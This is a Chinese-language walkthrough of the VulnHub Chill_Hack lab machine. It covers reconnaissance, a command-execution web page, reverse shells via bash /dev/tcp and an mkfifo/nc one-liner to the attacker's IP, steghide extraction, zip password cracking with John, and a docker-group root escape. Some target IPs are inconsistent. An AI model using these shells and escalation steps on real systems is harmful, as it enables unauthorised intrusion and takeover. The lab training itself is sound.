0%

基于vulnhub的Chill_Hack靶机的渗透测试

基于vulnhub的Chill_Hack靶机的渗透测试

一.实验准备

kali,Chill_Hack靶机

kali要选择NAT方式连接

二.信息收集

1.收集靶机IP

查看kali的IP,如下

192.168.88.136

用nmap扫描存活的主机

nmap -sn 192.168.88.0/24  

判断靶机IP,根据ping测试的ttl值判断目标靶机IP为192.168.88.139

确定目标靶机IP是192.168.101.139

2.根据获得的靶机IP,继续扫描靶机相关的服务开放状态

使用nmap扫描相应的端口及服务的开发情况

nmap -sC -sV 192.168.88.139 -p- --min-rate=2000 -n -vv 

查询结果如下,发现21(FTP),80(HTTP),22(SSH)端口处于开放状态

发现FTP服务允许匿名登录(Anonymous FTP login allowed);SSH,HTTP服务启动

3.根据开放的端口及服务查询相应服务的漏洞

利用FTP服务漏洞

根据nmap查询结果发现21端口允许匿名用户登录,存在匿名登录漏洞

匿名登录ftp,下载并查看note.txt

ftp 192.168.101.129
#输入匿名用户用户名Anonymous及密码登录
get note.txt #下载note.txt

并未能提供有效信息

利用HTTP

80端口是Apache httpd 2.4.29 可能存在换行解析漏洞

打开网站判断是静态网站还是动态网站,发现是个静态网站,没有可利用的后台数据库,没有漏洞点

继续对网站的目录进行探测(使用使用目录扫描工具dirb)

dirb http://192.168.88.139

发现secret目录,可能存在命令执行漏洞

浏览器输入网址,发现好像可以运行命令

http://192.168.88.139/secret/

输入ls查看当前目录下文件,发现ls命令被过滤,不允许使用

输入pwd查看当前位置

三.边界突破

1.漏洞利用

使用NetCat开启监听

nc -lvp 6666

反弹shell

bash -i >& /dev/tcp/192.168.88.136/6666 0>&1 #失败

ls;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.88.136 6666>/tmp/f#成功

反弹shell成功

使用id命令查看用户的ID,以及所属群组的ID,可以看出www-data用户权限较低

进入根目录并查看

查看相关目录,仍未获得有用的信息

查看home目录,发现有三个用户(anurodh,apaar,aurick)

尝试进入各用户目录,发现能进入apaar目录

查看apaar目录发现local.txt(无法查看),

2.横向扩展

使用sudo -l查看所能执行的高权限指令和文件

sudo -l

发现.helpline.sh

查看/home/apaar/.helpline.sh

cat /home/apaar/.helpline.sh

发现该脚本允许输入,尝试输入一些命令查看local.txt

运行.helpline.sh

./.helpline.sh

输入命令

cat local.txt

无法查看

尝试使用apaar用户查看

sudo -u 用户名 ./.helpline.sh

{USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}

最终拿到用户flags

继续尝试寻找root的flags

继续寻找可疑信息,发现/var/www/files下有可疑文件

查看hacker.php

cat hacker.php

发现img标签中指向一个可以图片,使用nc下载可疑图片

nc -lvnp 5555 > hacker.jpg #kali新开shell
nc 192.168.88.136 5555 < images/hacker-with-laptop_23-2147985341.jpg #反弹shell中

打开图片如下

考虑有没有可能使用隐写术隐藏关键内容

隐写术实例

copy /b 2.jpg+1.zip output.jpg

下载steghide工具

apt-get install steghide

查看图片中是否隐藏有内容

steghide info hacker.jpg

发现其中嵌入了一个名为backup.zip的压缩包

使用steghide获取该压缩包

steghide extract -sf hacker.jpg 

查看backup.zip中的内容

zip -sf backup.zip

尝试解压该压缩包

unzip backup.zip

发现需要密码

使用John爆破

#先将backup.zip转换成backup.john
zip2john backup.zip > backup.john
#再使用john爆破
john --wordlist=/usr/share/wordlists/rockyou.txt backup.zip

发现密码为pass1word

解压backup.zip

unzip backup.zip

获得source_code.php文件

查看source_code.php,发现可疑密码和用户名

可疑密码:IWQwbnRLbjB3bVlwQHNzdzByZA==
用户名:Anurodh

到Base64解密网站解密

密码为

!d0ntKn0wmYp@ssw0rd

使用ssh登录,先尝试可疑用户Anurodh

ssh anurodh@192.168.88.139 #成功,注意名字是小写a

登录成功

使用id命令查看用户的ID,以及所属群组的ID,发现其中有docker

尝试利用docker漏洞获取root权限(将外面的文件映射到docker容器中,docker中是以root运行的)

查看docker镜像

docker images

将根目录挂载到/mnt并放入alpine镜像

docker run -it -v /:/mnt alpine

查看id

查看/root没有发现信息

继续查看相关目录,发现/mnt下有一个root目录

进入/mnt/root并查看,发现有个proof.txt

查看proof.txt

成功得到root的flag

{ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}
-------------本文结束感谢您的阅读-------------